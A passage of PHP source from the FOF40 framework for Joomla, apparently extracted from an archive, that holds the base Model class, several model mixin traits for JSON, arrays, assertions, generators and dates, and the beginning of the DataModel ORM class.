A generic MVC model implementation * * @property-read \FOF40\Input\Input $input The input object (magic __get returns the Input from the Container) */ class Model { /** * Should I save the model's state in the session? * * @var boolean */ protected $_savestate = true; /** * Should we ignore request data when trying to get state data not already set in the Model? * * @var bool */ protected $_ignoreRequest = false; /** * The model (base) name * * @var string */ protected $name; /** * A state object * * @var string */ protected $state; /** * Are the state variables already set? * * @var boolean */ protected $_state_set = false; /** * The container attached to the model * * @var Container */ protected $container; /** * The state key hash returned by getHash(). This is typically something like "com_foobar.example." (note the dot * at the end). Always use getHash to get it and setHash to set it. * * @var null|string */ private $stateHash; /** * Public class constructor * * You can use the $config array to pass some configuration values to the object: * * state stdClass|array. The state variables of the Model. * use_populate Boolean. When true the model will set its state from populateState() instead of the request. * ignore_request Boolean. When true getState will not automatically load state data from the request. * * @param Container $container The configuration variables to this model * @param array $config Configuration values for this model */ public function __construct(Container $container, array $config = []) { $this->container = $container; // Set the model's name from $config if (isset($config['name'])) { $this->name = $config['name']; } // If $config['name'] is not set, auto-detect the model's name $this->name = $this->getName(); // Do we have a configured state hash? Since 3.1.2. if (isset($config['hash']) && !empty($config['hash'])) { $this->setHash($config['hash']); } elseif (isset($config['hash_view']) && !empty($config['hash_view'])) { $this->getHash($config['hash_view']); } // Set the model state if (array_key_exists('state', $config)) { if (is_object($config['state'])) { $this->state = $config['state']; } elseif (is_array($config['state'])) { $this->state = (object) $config['state']; } // Protect vs malformed state else { $this->state = new \stdClass(); } } else { $this->state = new \stdClass(); } // Set the internal state marker if (!empty($config['use_populate'])) { $this->_state_set = true; } // Set the internal state marker if (!empty($config['ignore_request'])) { $this->_ignoreRequest = true; } } /** * Method to get the model name * * The model name. By default parsed using the classname or it can be set * by passing a $config['name'] in the class constructor * * @return string The name of the model * * @throws \RuntimeException If it's impossible to get the name */ public function getName() { if (empty($this->name)) { $r = null; if (!preg_match('/(.*)\\\\Model\\\\(.*)/i', get_class($this), $r)) { throw new CannotGetName; } $this->name = $r[2]; } return $this->name; } /** * Get a filtered state variable * * @param string $key The state variable's name * @param mixed $default The default value to return if it's not already set * @param string $filter_type The filter type to use * * @return mixed The state variable's contents */ public function getState($key = null, $default = null, $filter_type = 'raw') { if (empty($key)) { return $this->internal_getState(); } // Get the savestate status $value = $this->internal_getState($key); // Value is not found in the internal state if (is_null($value)) { // Can I fetch it from the request? if (!$this->_ignoreRequest) { $value = $this->container->platform->getUserStateFromRequest($this->getHash() . $key, $key, $this->input, $value, 'none', $this->_savestate); // Did I get any useful value from the request? if (is_null($value)) { return $default; } } // Nope! Let's return the default value else { return $default; } } if (strtoupper($filter_type) == 'RAW') { return $value; } else { $filter = new InputFilter(); return $filter->clean($value, $filter_type); } } /** * Method to set model state variables * * @param string $property The name of the property. * @param mixed $value The value of the property to set or null. * * @return mixed The previous value of the property or null if not set. */ public function setState($property, $value = null) { if (is_null($this->state)) { $this->state = new \stdClass(); } return $this->state->$property = $value; } /** * Returns a unique hash for each view, used to prefix the state variables to allow us to retrieve them from the * state later on. If it's not already set (with setHash) it will be set in the form com_something.myModel. If you * pass a non-empty $viewName then if it's not already set it will be instead set in the form of * com_something.viewName.myModel which is useful when you are reusing models in multiple views and want to avoid * state bleedover among views. * * Also see the hash and hash_view parameters in the constructor's options. * * @return string */ public function getHash($viewName = null) { if (is_null($this->stateHash)) { $this->stateHash = ucfirst($this->container->componentName) . '.'; if (!empty($viewName)) { $this->stateHash .= $viewName . '.'; } $this->stateHash .= $this->getName() . '.'; } return $this->stateHash; } /** * Sets the unique hash to prefix the state variables. The hash is cleaned according to the 'CMD' input filtering, * must end in a dot (if not a dot is added automatically) and cannot be empty. * * @param string $hash * * @return void * * @see self::getHash() */ public function setHash($hash) { // Clean the hash, it has to conform to 'CMD' filtering $tempInput = new Input(['hash' => $hash]); $hash = $tempInput->getCmd('hash', null); if (empty($hash)) { return; } if (substr($hash, -1) == '_') { $hash = substr($hash, 0, -1); } if (substr($hash, -1) != '.') { $hash .= '.'; } $this->stateHash = $hash; } /** * Clears the model state, but doesn't touch the internal lists of records, * record tables or record id variables. To clear these values, please use * reset(). * * @return static */ public function clearState() { $this->state = new \stdClass(); return $this; } /** * Clones the model object and returns the clone * * @return $this for chaining */ public function getClone() { return clone($this); } /** * Returns a reference to the model's container * * @return \FOF40\Container\Container */ public function getContainer() { return $this->container; } /** * Magic getter; allows to use the name of model state keys as properties. Also handles magic properties: * $this->input mapped to $this->container->input * * @param string $name The state variable key * * @return mixed */ public function __get($name) { // Handle $this->input if ($name == 'input') { return $this->container->input; } return $this->getState($name); } /** * Magic setter; allows to use the name of model state keys as properties * * @param string $name The state variable key * @param mixed $value The state variable value * * @return static */ public function __set($name, $value) { return $this->setState($name, $value); } /** * Magic caller; allows to use the name of model state keys as methods to * set their values. * * @param string $name The state variable key * @param mixed $arguments The state variable contents * * @return static */ public function __call($name, $arguments) { $arg1 = array_shift($arguments); $this->setState($name, $arg1); return $this; } /** * Sets the model state auto-save status. By default the model is set up to * save its state to the session. * * @param boolean $newState True to save the state, false to not save it. * * @return static */ public function savestate($newState) { $this->_savestate = (bool) $newState; return $this; } /** * Public setter for the _savestate variable. Set it to true to save the state * of the Model in the session. * * @return static */ public function populateSavestate() { if (is_null($this->_savestate)) { $savestate = $this->input->getInt('savestate', -999); if ($savestate == -999) { $savestate = true; } $this->savestate($savestate); } } /** * Gets the ignore request flag. When false, getState() will try to populate state variables not already set from * same-named state variables in the request. * * @return boolean */ public function getIgnoreRequest() { return $this->_ignoreRequest; } /** * Sets the ignore request flag. When false, getState() will try to populate state variables not already set from * same-named state variables in the request. * * @param boolean $ignoreRequest * * @return $this for chaining */ public function setIgnoreRequest($ignoreRequest) { $this->_ignoreRequest = $ignoreRequest; return $this; } /** * Returns a temporary instance of the model. Please note that this returns a _clone_ of the model object, not the * original object. The new object is set up to not save its stats, ignore the request when getting state variables * and comes with an empty state. * * @return $this */ public function tmpInstance() { return $this->getClone()->savestate(false)->setIgnoreRequest(true)->clearState(); } /** * Method to auto-populate the model state. * * This method should only be called once per instantiation and is designed * to be called on the first call to the getState() method unless the model * configuration flag to ignore the request is set. * * @return void * * @note Calling getState in this method will result in recursion. */ protected function populateState() { } /** * Triggers an object-specific event. The event runs both locally –if a suitable method exists– and through the * object's behaviours dispatcher and Joomla! plugin system. Neither handler is expected to return anything (return * values are ignored). If you want to mark an error and cancel the event you have to raise an exception. * * EXAMPLE * Component: com_foobar, Object name: item, Event: onBeforeSomething, Arguments: array(123, 456) * The event calls: * 1. $this->onBeforeSomething(123, 456) * 2. $his->behavioursDispatcher->trigger('onBeforeSomething', array(&$this, 123, 456)) * 3. Joomla! plugin event onComFoobarModelItemBeforeSomething($this, 123, 456) * * @param string $event The name of the event, typically named onPredicateVerb e.g. onBeforeKick * @param array $arguments The arguments to pass to the event handlers * * @return void */ protected function triggerEvent($event, array $arguments = []) { // If there is an object method for this event, call it if (method_exists($this, $event)) { $this->{$event}(...$arguments); } // All other event handlers live outside this object, therefore they need to be passed a reference to this // objects as the first argument. array_unshift($arguments, $this); // Trigger the object's behaviours dispatcher, if such a thing exists if (property_exists($this, 'behavioursDispatcher') && method_exists($this->behavioursDispatcher, 'trigger')) { $this->behavioursDispatcher->trigger($event, $arguments); } // Prepare to run the Joomla! plugins now. // If we have an "on" prefix for the event (e.g. onFooBar) remove it and stash it for later. $prefix = ''; if (substr($event, 0, 2) == 'on') { $prefix = 'on'; $event = substr($event, 2); } // Get the component/model prefix for the event $prefix .= 'Com' . ucfirst($this->container->bareComponentName) . 'Model'; $prefix .= ucfirst($this->getName()); // The event name will be something like onComFoobarItemsBeforeSomething $event = $prefix . $event; // Call the Joomla! plugins $this->container->platform->runPlugins($event, $arguments); } /** * Method to get model state variables * * @param string $property Optional parameter name * @param mixed $default Optional default value * * @return object The property where specified, the state object where omitted */ private function internal_getState($property = null, $default = null) { if (!$this->_state_set) { // Protected method to auto-populate the model state. $this->populateState(); // Set the model state set flag to true. $this->_state_set = true; } if (is_null($property)) { return $this->state; } if (property_exists($this->state, $property)) { return $this->state->$property; } return $default; } } PK���\�)���fof40/Model/Mixin/JsonData.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\Mixin; defined('_JEXEC') || die; /** * Trait for dealing with data stored as JSON-encoded strings */ trait JsonData { /** * Converts the loaded JSON string into an array * * @param string $value The JSON string * * @return array The data */ protected function getAttributeForJson($value) { if (is_array($value)) { return $value; } if (empty($value)) { return []; } $value = json_decode($value, true); if (empty($value)) { return []; } return $value; } /** * Converts and array into a JSON string * * @param array|string $value The data (or its JSON-encoded form) * * @return string The JSON string */ protected function setAttributeForJson($value) { if (!is_array($value)) { return $value; } return json_encode($value); } } PK���\h�:��$fof40/Model/Mixin/ImplodedArrays.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\Mixin; defined('_JEXEC') || die; /** * Trait for dealing with imploded arrays, stored as comma-separated values */ trait ImplodedArrays { /** * Converts the loaded comma-separated list into an array * * @param string $value The comma-separated list * * @return array The exploded array */ protected function getAttributeForImplodedArray($value) { if (is_array($value)) { return $value; } if (empty($value)) { return []; } $value = explode(',', $value); return array_map('trim', $value); } /** * Converts an array of values into a comma separated list * * @param array|string $value The array of values (or the already imploded array as a string) * * @return string The imploded comma-separated list */ protected function setAttributeForImplodedArray($value) { if (!is_array($value)) { return $value; } $value = array_map('trim', $value); return implode(',', $value); } } PK���\ݘ�zz fof40/Model/Mixin/Assertions.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\Mixin; defined('_JEXEC') || die; use Joomla\CMS\Language\Text; use RuntimeException; /** * Trait for check() method assertions */ trait Assertions { /** * Make sure $condition is true or throw a RuntimeException with the $message language string * * @param bool $condition The condition which must be true * @param string $message The language key for the message to throw * * @throws RuntimeException */ protected function assert($condition, $message) { if (!$condition) { throw new RuntimeException(Text::_($message)); } } /** * Assert that $value is not empty or throw a RuntimeException with the $message language string * * @param mixed $value The value to check * @param string $message The language key for the message to throw * * @throws RuntimeException */ protected function assertNotEmpty($value, $message) { $this->assert(!empty($value), $message); } /** * Assert that $value is set to one of $validValues or throw a RuntimeException with the $message language string * * @param mixed $value The value to check * @param array $validValues An array of valid values for $value * @param string $message The language key for the message to throw * * @throws RuntimeException */ protected function assertInArray($value, array $validValues, $message) { $this->assert(in_array($value, $validValues), $message); } /** * Assert that $value is set to none of $validValues. Otherwise throw a RuntimeException with the $message language * string. * * @param mixed $value The value to check * @param array $validValues An array of invalid values for $value * @param string $message The language key for the message to throw * * @throws \RuntimeException */ protected function assertNotInArray($value, array $validValues, $message) { $this->assert(!in_array($value, $validValues, true), $message); } } PK���\ �ͷ� fof40/Model/Mixin/Generators.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\Mixin; defined('_JEXEC') || die; /** * Trait for PHP 5.5 Generators */ trait Generators { /** * Returns a PHP Generator of DataModel instances based on your currently set Model state. You can foreach() the * returned generator to walk through each item of the data set. * * WARNING! This only works on PHP 5.5 and later. * * When the generator is done you might get a PHP warning. This is normal. Joomla! doesn't support multiple db * cursors being open at once. What we do instead is clone the database object. Of course it cannot close the db * connection when we dispose of it (since it's already in use by Joomla), hence the warning. Pay no attention. * * @param integer $limitstart How many items from the start to skip (0 = do not skip) * @param integer $limit How many items to return (0 = all) * @param bool $overrideLimits Set to true to override limitstart, limit and ordering * * @return \Generator A PHP generator of DataModel objects * @since 3.3.2 * @throws \Exception */ public function &getGenerator($limitstart = 0, $limit = 0, $overrideLimits = false) { $limitstart = max($limitstart, 0); $limit = max($limit, 0); $query = $this->buildQuery($overrideLimits); $db = clone $this->getDbo(); $db->setQuery($query, $limitstart, $limit); $cursor = $db->execute(); $reflectDB = new \ReflectionObject($db); $refFetchAssoc = $reflectDB->getMethod('fetchAssoc'); $refFetchAssoc->setAccessible(true); while ($data = $refFetchAssoc->invoke($db, $cursor)) { $item = clone $this; $item->clearState()->reset(true); $item->bind($data); $item->relationManager = clone $this->relationManager; $item->relationManager->rebase($item); yield $item; } } } PK���\g�l��&fof40/Model/Mixin/DateManipulation.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\Mixin; defined('_JEXEC') || die; use FOF40\Date\Date; use FOF40\Model\DataModel; /** * Trait for date manipulations commonly used in models */ trait DateManipulation { /** * Normalise a date into SQL format * * @param string $value The date to normalise * @param string $default The default date to use if the normalised date is invalid or empty (use 'now' for * current date/time) * * @return string */ protected function normaliseDate($value, $default = '2001-01-01') { /** @var DataModel $this */ $db = $this->container->platform->getDbo(); if (empty($value) || ($value == $db->getNullDate())) { $value = $default; } if (empty($value) || ($value == $db->getNullDate())) { return $value; } $regex = '/^\d{1,4}(\/|-)\d{1,2}(\/|-)\d{2,4}[[:space:]]{0,}(\d{1,2}:\d{1,2}(:\d{1,2}){0,1}){0,1}$/'; if (!preg_match($regex, $value)) { $value = $default; } if (empty($value) || ($value == $db->getNullDate())) { return $value; } $date = new Date($value); return $date->toSql(); } /** * Sort the published up/down times in case they are give out of order. If publish_up equals publish_down the * foreverDate will be used for publish_down. * * @param string $publish_up Publish Up date * @param string $publish_down Publish Down date * @param string $foreverDate See above * * @return array (publish_up, publish_down) */ protected function sortPublishDates($publish_up, $publish_down, $foreverDate = '2038-01-18 00:00:00') { $jUp = new Date($publish_up); $jDown = new Date($publish_down); if ($jDown->toUnix() < $jUp->toUnix()) { $temp = $publish_up; $publish_up = $publish_down; $publish_down = $temp; } elseif ($jDown->toUnix() == $jUp->toUnix()) { $jDown = new Date($foreverDate); $publish_down = $jDown->toSql(); } return [$publish_up, $publish_down]; } /** * Publish or unpublish a DataModel item based on its publish_up / publish_down fields * * @param DataModel $row The DataModel to publish/unpublish * * @return void */ protected function publishByDate(DataModel $row) { static $uNow = null; if (is_null($uNow)) { $jNow = new Date(); $uNow = $jNow->toUnix(); } /** @var \JDatabaseDriver $db */ $db = $this->container->platform->getDbo(); $triggered = false; $publishDown = $row->getFieldValue('publish_down'); if (!empty($publishDown) && ($publishDown != $db->getNullDate())) { $publish_down = $this->normaliseDate($publishDown, '2038-01-18 00:00:00'); $publish_up = $this->normaliseDate($row->publish_up, '2001-01-01 00:00:00'); $jDown = new Date($publish_down); $jUp = new Date($publish_up); if (($uNow >= $jDown->toUnix()) && $row->enabled) { $row->enabled = 0; $triggered = true; } elseif (($uNow >= $jUp->toUnix()) && !$row->enabled && ($uNow < $jDown->toUnix())) { $row->enabled = 1; $triggered = true; } } if ($triggered) { $row->save(); } } } PK���\�`������fof40/Model/DataModel.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model; defined('_JEXEC') || die; use FOF40\Container\Container; use FOF40\Controller\Exception\LockedRecord; use FOF40\Date\Date; use FOF40\Event\Dispatcher; use FOF40\Event\Observer; use FOF40\Model\DataModel\Collection as DataCollection; use FOF40\Model\DataModel\Exception\BaseException; use FOF40\Model\DataModel\Exception\CannotLockNotLoadedRecord; use FOF40\Model\DataModel\Exception\InvalidSearchMethod; use FOF40\Model\DataModel\Exception\NoAssetKey; use FOF40\Model\DataModel\Exception\NoContentType; use FOF40\Model\DataModel\Exception\NoItemsFound; use FOF40\Model\DataModel\Exception\NoTableColumns; use FOF40\Model\DataModel\Exception\RecordNotLoaded; use FOF40\Model\DataModel\Exception\SpecialColumnMissing; use FOF40\Model\DataModel\Relation\Exception\RelationNotFound; use FOF40\Model\DataModel\RelationManager; use FOF40\Utils\ArrayHelper; use Joomla\CMS\Access\Rules; use Joomla\CMS\Application\ApplicationHelper; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; use Joomla\CMS\Table\Asset; use Joomla\CMS\Table\ContentHistory; use Joomla\CMS\Table\ContentType; use Joomla\CMS\Table\CoreContent; use Joomla\CMS\Table\TableInterface; use Joomla\CMS\UCM\UCMContent; /** * Data-aware model, implementing a convenient ORM * * Type hinting -- start * * * @method $this hasOne() hasOne(string $name, string $foreignModelClass = null, string $localKey = null, string $foreignKey = null) * @method $this belongsTo() belongsTo(string $name, string $foreignModelClass = null, string $localKey = null, string $foreignKey = null) * @method $this hasMany() hasMany(string $name, string $foreignModelClass = null, string $localKey = null, string $foreignKey = null) * @method $this belongsToMany() belongsToMany(string $name, string $foreignModelClass = null, string $localKey = null, string $foreignKey = null, string $pivotTable = null, string $pivotLocalKey = null, string $pivotForeignKey = null) * * @method $this filter_order() filter_order(string $orderingField) * @method $this filter_order_Dir() filter_order_Dir(string $direction) * @method $this limit() limit(int $limit) * @method $this limitstart() limitstart(int $limitStart) * @method $this enabled() enabled(int $enabled) * @method DataModel getNew() getNew(string $relationName) * * @property int $enabled Publish status of this record * @property int $ordering Sort ordering of this record * @property int $created_by ID of the user who created this record * @property string $created_on Date/time stamp of record creation * @property int $modified_by ID of the user who modified this record * @property string $modified_on Date/time stamp of record modification * @property int $locked_by ID of the user who locked this record * @property string $locked_on Date/time stamp of record locking * * Type hinting -- end */ class DataModel extends Model implements TableInterface { /** @var array A list of tables in the database */ protected static $tableCache = []; /** @var array A list of table fields, keyed per table */ protected static $tableFieldCache = []; /** @var array A list of permutations of the prefix with upper/lowercase letters */ protected static $prefixCasePermutations = []; /** @var array Table field name aliases, defined as aliasFieldName => actualFieldName */ protected $aliasFields = []; /** @var boolean Should I run automatic checks on the table data? */ protected $autoChecks = true; /** @var boolean Should I auto-fill the fields of the model object when constructing it? */ protected $autoFill = false; /** @var Dispatcher An event dispatcher for model behaviours */ protected $behavioursDispatcher; /** @var \JDatabaseDriver The database driver for this model */ protected $dbo; /** @var array Which fields should be exempt from automatic checks when autoChecks is enabled */ protected $fieldsSkipChecks = []; /** @var array Which fields should be auto-filled from the model state (by extent, the request)? */ protected $fillable = []; /** @var array Which fields should never be auto-filled from the model state (by extent, the request)? */ protected $guarded = []; /** @var string The identity field's name */ protected $idFieldName = ''; /** @var array A hash array with the table fields we know about and their information. Each key is the field name, the value is the field information */ protected $knownFields = []; /** @var array The data of the current record */ protected $recordData = []; /** @var boolean What will delete() do? True: trash (enabled set to -2); false: hard delete (remove from database) */ protected $softDelete = false; /** @var string The name of the database table we connect to */ protected $tableName = ''; /** @var array A collection of custom, additional where clauses to apply during buildQuery */ protected $whereClauses = []; /** @var RelationManager The relation manager of this model */ protected $relationManager; /** @var array A list of all eager loaded relations and their attached callbacks */ protected $eagerRelations = []; /** @var array A list of the relation filter definitions for this model */ protected $relationFilters = []; /** @var array A list of the relations which will be auto-touched by save() and touch() methods */ protected $touches = []; /** @var bool Should rows be tracked as ACL assets? */ protected $trackAssets = false; /** @var bool Does the resource support joomla tags? */ protected $has_tags = false; /** @var Rules The rules associated with this record. */ protected $rules; /** @var string The UCM content type (typically: com_something.viewname, e.g. com_foobar.items) */ protected $contentType; /** @var array Shared parameters for behaviors */ protected $behaviorParams = []; /** * The asset key for items in this table. It's usually something in the * com_example.viewname format. They asset name will be this key appended * with the item's ID, e.g. com_example.viewname.123 * * @var string */ protected $assetKey = ''; /** * Public constructor. Overrides the parent constructor, adding support for database-aware models. * * You can use the $config array to pass some configuration values to the object: * * tableName String The name of the database table to use. Default: #__appName_viewNamePlural (Ruby * on Rails convention) idFieldName String The table key field name. Default: * appName_viewNameSingular_id (Ruby on Rails convention) knownFields Array The known fields in the * table. Default: read from the table itself autoChecks Boolean Should I turn on automatic data * validation checks? fieldsSkipChecks Array List of fields which should not participate in automatic data * validation checks. aliasFields Array Associative array of "magic" field aliases. * behavioursDispatcher EventDispatcher The model behaviours event dispatcher. behaviourObservers Array The * model behaviour observers to attach to the behavioursDispatcher. behaviours Array A list of * behaviour names to instantiate and attach to the behavioursDispatcher. fillable_fields Array Which * fields should be auto-filled from the model state (by extent, the request)? guarded_fields Array Which * fields should never be auto-filled from the model state (by extent, the request)? relations Array * (hashed) The relations to autoload on model creation. contentType String The UCM content type, e.g. * "com_foobar.items" * * Setting either fillable_fields or guarded_fields turns on automatic filling of fields in the constructor. If * both * are set only guarded_fields is taken into account. Fields are not filled automatically outside the constructor. * * @param Container $container The configuration variables to this model * @param array $config Configuration values for this model * * @throws \FOF40\Model\DataModel\Exception\NoTableColumns * @see Model::__construct() * */ public function __construct(Container $container, array $config = []) { // First call the parent constructor. parent::__construct($container, $config); // Should I use a different database object? $this->dbo = $container->db; // Do I have a table name? if (isset($config['tableName'])) { $this->tableName = $config['tableName']; } elseif (empty($this->tableName)) { // The table name is by default: #__appName_viewNamePlural (Ruby on Rails convention) $viewPlural = $container->inflector->pluralize($this->getName()); $this->tableName = '#__' . strtolower($this->container->bareComponentName) . '_' . strtolower($viewPlural); } // Do I have a table key name? if (isset($config['idFieldName'])) { $this->idFieldName = $config['idFieldName']; } elseif (empty($this->idFieldName)) { // The default ID field is: appName_viewNameSingular_id (Ruby on Rails convention) $viewSingular = $container->inflector->singularize($this->getName()); $this->idFieldName = strtolower($this->container->bareComponentName) . '_' . strtolower($viewSingular) . '_id'; } // Do I have a list of known fields? if (isset($config['knownFields']) && !empty($config['knownFields'])) { if (!is_array($config['knownFields'])) { $config['knownFields'] = explode(',', $config['knownFields']); } $this->knownFields = $config['knownFields']; } else { // By default the known fields are fetched from the table itself (slow!) $this->knownFields = $this->getTableFields(); } if (empty($this->knownFields)) { throw new NoTableColumns(sprintf('Model %s could not fetch column list for the table %s', $this->getName(), $this->tableName)); } // Should I turn on autoChecks? if (isset($config['autoChecks'])) { if (!is_bool($config['autoChecks'])) { $config['autoChecks'] = strtolower($config['autoChecks']); $config['autoChecks'] = in_array($config['autoChecks'], ['yes', 'true', 'on', 1]); } $this->autoChecks = $config['autoChecks']; } // Should I exempt fields from autoChecks? if (isset($config['fieldsSkipChecks'])) { if (!is_array($config['fieldsSkipChecks'])) { $config['fieldsSkipChecks'] = explode(',', $config['fieldsSkipChecks']); $config['fieldsSkipChecks'] = array_map(function ($x) { return trim($x); }, $config['fieldsSkipChecks']); } $this->fieldsSkipChecks = $config['fieldsSkipChecks']; } // Do I have alias fields? if (isset($config['aliasFields'])) { $this->aliasFields = $config['aliasFields']; } // Do I have a behaviours dispatcher? if (isset($config['behavioursDispatcher']) && ($config['behavioursDispatcher'] instanceof Dispatcher)) { $this->behavioursDispatcher = $config['behavioursDispatcher']; } // Otherwise create the model behaviours dispatcher else { $this->behavioursDispatcher = new Dispatcher($this->container); } // Do I have an array of behaviour observers if (isset($config['behaviourObservers']) && is_array($config['behaviourObservers'])) { foreach ($config['behaviourObservers'] as $observer) { $this->behavioursDispatcher->attach($observer); } } // Do I have a list of behaviours? if (isset($config['behaviours']) && is_array($config['behaviours'])) { foreach ($config['behaviours'] as $behaviour) { $this->addBehaviour($behaviour); } } // Add extra behaviours foreach (['Created', 'Modified'] as $behaviour) { $this->addBehaviour($behaviour); } // Do I have a list of fillable fields? if (isset($config['fillable_fields']) && !empty($config['fillable_fields'])) { if (!is_array($config['fillable_fields'])) { $config['fillable_fields'] = explode(',', $config['fillable_fields']); $config['fillable_fields'] = array_map(function ($x) { return trim($x); }, $config['fillable_fields']); } $this->fillable = []; $this->autoFill = true; foreach ($config['fillable_fields'] as $field) { if (array_key_exists($field, $this->knownFields)) { $this->fillable[] = $field; } elseif (isset($this->aliasFields[$field])) { $this->fillable[] = $this->aliasFields[$field]; } } } // Do I have a list of guarded fields? if (isset($config['guarded_fields']) && !empty($config['guarded_fields'])) { if (!is_array($config['guarded_fields'])) { $config['guarded_fields'] = explode(',', $config['guarded_fields']); $config['guarded_fields'] = array_map(function ($x) { return trim($x); }, $config['guarded_fields']); } $this->guarded = []; $this->autoFill = true; foreach ($config['guarded_fields'] as $field) { if (array_key_exists($field, $this->knownFields)) { $this->guarded[] = $field; } elseif (isset($this->aliasFields[$field])) { $this->guarded[] = $this->aliasFields[$field]; } } } // If we are tracking assets, make sure an access field exists and initially set the default. $asset_id_field = $this->getFieldAlias('asset_id'); $access_field = $this->getFieldAlias('access'); if (array_key_exists($asset_id_field, $this->knownFields)) { $this->trackAssets = true; } /** * if ($this->trackAssets && array_key_exists($access_field, $this->knownFields) && !($this->getState($access_field, null))) * { * $this->$access_field = (int) $this->container->platform->getConfig()->get('access'); * } **/ $assetKey = $this->container->componentName . '.' . strtolower($container->inflector->singularize($this->getName())); $this->setAssetKey($assetKey); // Set the UCM content type if applicable if (isset($config['contentType'])) { $this->contentType = $config['contentType']; } // Do I have to auto-fill the fields? if ($this->autoFill) { $fields = !empty($this->guarded) ? array_keys($this->knownFields) : $this->fillable; foreach ($fields as $field) { if (in_array($field, $this->guarded)) { // Do not set guarded fields continue; } $stateValue = $this->getState($field); if (!is_null($stateValue)) { $this->setFieldValue($field, $stateValue); } } } // Create a relation manager $this->relationManager = new RelationManager($this); // Do I have a list of relations? if (isset($config['relations']) && is_array($config['relations'])) { foreach ($config['relations'] as $relConfig) { if (!is_array($relConfig)) { continue; } $defaultRelConfig = [ 'type' => 'hasOne', 'foreignModelClass' => null, 'localKey' => null, 'foreignKey' => null, 'pivotTable' => null, 'pivotLocalKey' => null, 'pivotForeignKey' => null, ]; $relConfig = array_merge($defaultRelConfig, $relConfig); $this->relationManager->addRelation($relConfig['itemName'], $relConfig['type'], $relConfig['foreignModelClass'], $relConfig['localKey'], $relConfig['foreignKey'], $relConfig['pivotTable'], $relConfig['pivotLocalKey'], $relConfig['pivotForeignKey']); } } // Initialise the data model foreach ($this->knownFields as $fieldName => $information) { // Initialize only the null or not yet set records if (!isset($this->recordData[$fieldName])) { $this->recordData[$fieldName] = $information->Default; } } // Trigger the onAfterConstruct event. This allows you to set up model state etc. $this->triggerEvent('onAfterConstruct'); } /** * Magic caller. It works like the magic setter and returns ourselves for chaining. If no arguments are passed we'll * only look for a scope filter. * * @param string $name * @param mixed $arguments * * @return static */ public function __call($name, $arguments) { // If no arguments are provided try mapping to the scopeSomething() method if (empty($arguments)) { $methodName = 'scope' . ucfirst($name); if (method_exists($this, $methodName)) { $this->{$methodName}(); return $this; } } // Implements getNew($relationName) if (($name == 'getNew') && (is_array($arguments) || $arguments instanceof \Countable ? count($arguments) : 0)) { return $this->relationManager->getNew($arguments[0]); } // Magically map relations to methods, e.g. $this->foobar will return the "foobar" relations' contents if ($this->relationManager->isMagicMethod($name)) { return call_user_func_array([$this->relationManager, $name], $arguments); } // Otherwise call the parent return parent::__call($name, $arguments); } /** * Magic checker on a property. It follows the same logic of the __get magic method, however, if nothing is found, * it won't return the state of a variable (we are checking if a property is set) * * @param string $name The name of the field to check * * @return bool Is the field set? */ public function __isset($name) { $value = null; $isState = false; if (substr($name, 0, 3) == 'flt') { $isState = true; $name = strtolower(substr($name, 3, 1)) . substr($name, 4); } // If $name is a field name, get its value if (!$isState && array_key_exists($name, $this->recordData)) { $value = $this->getFieldValue($name); } elseif (!$isState && array_key_exists($name, $this->aliasFields) && array_key_exists($this->aliasFields[$name], $this->recordData)) { $name = $this->aliasFields[$name]; $value = $this->getFieldValue($name); } elseif ($this->relationManager->isMagicProperty($name)) { $value = $this->relationManager->$name; } // As the core function isset, the property must exists AND must be NOT null return ($value !== null); } /** * Magic getter. It will return the value of a field or, if no such field is found, the value of the relevant state * variable. * * Tip: Trying to get fltSomething will always return the value of the state variable "something" * * Tip: You can define custom field getter methods as getFieldNameAttribute, where FieldName is your field's name, * in CamelCase (even if the field name itself is in snake_case). * * @param string $name The name of the field / state variable to retrieve * * @return static|mixed */ public function __get($name) { // Handle $this->input if ($name == 'input') { return $this->container->input; } $isState = false; if (substr($name, 0, 3) == 'flt') { $isState = true; $name = strtolower(substr($name, 3, 1)) . substr($name, 4); } // If $name is a field name, get its value if (!$isState && array_key_exists($name, $this->recordData)) { return $this->getFieldValue($name); } elseif (!$isState && array_key_exists($name, $this->aliasFields) && array_key_exists($this->aliasFields[$name], $this->recordData)) { $name = $this->aliasFields[$name]; return $this->getFieldValue($name); } elseif ($this->relationManager->isMagicProperty($name)) { return $this->relationManager->$name; } // If $name is not a field name, get the value of a state variable else { return $this->getState($name); } } /** * Magic setter. It will set the value of a field or the value of a dynamic scope filter, or the value of the * relevant state variable. * * Tip: Trying to set fltSomething will always return the value of the state variable "something" * * Tip: Trying to set scopeSomething will always return the value of the dynamic scope filter "something" * * Tip: You can define custom field setter methods as setFieldNameAttribute, where FieldName is your field's name, * in CamelCase (even if the field name itself is in snake_case). * * @param string $name The name of the field / scope / state variable to set * @param mixed $value The value to set * * @return void */ public function __set($name, $value) { $isState = false; $isScope = false; if (substr($name, 0, 3) == 'flt') { $isState = true; $name = strtolower(substr($name, 3, 1)) . substr($name, 4); } elseif (substr($name, 0, 5) == 'scope') { $isScope = true; $name = strtolower(substr($name, 5, 1)) . substr($name, 5); } // If $name is a field name, set its value if (!$isState && !$isScope && array_key_exists($name, $this->recordData)) { $this->setFieldValue($name, $value); } elseif (!$isState && !$isScope && array_key_exists($name, $this->aliasFields) && array_key_exists($this->aliasFields[$name], $this->recordData)) { $name = $this->aliasFields[$name]; $this->setFieldValue($name, $value); } // If $name is a dynamic scope filter, set its value elseif ($isScope || method_exists($this, 'scope' . ucfirst($name))) { $method = 'scope' . ucfirst($name); 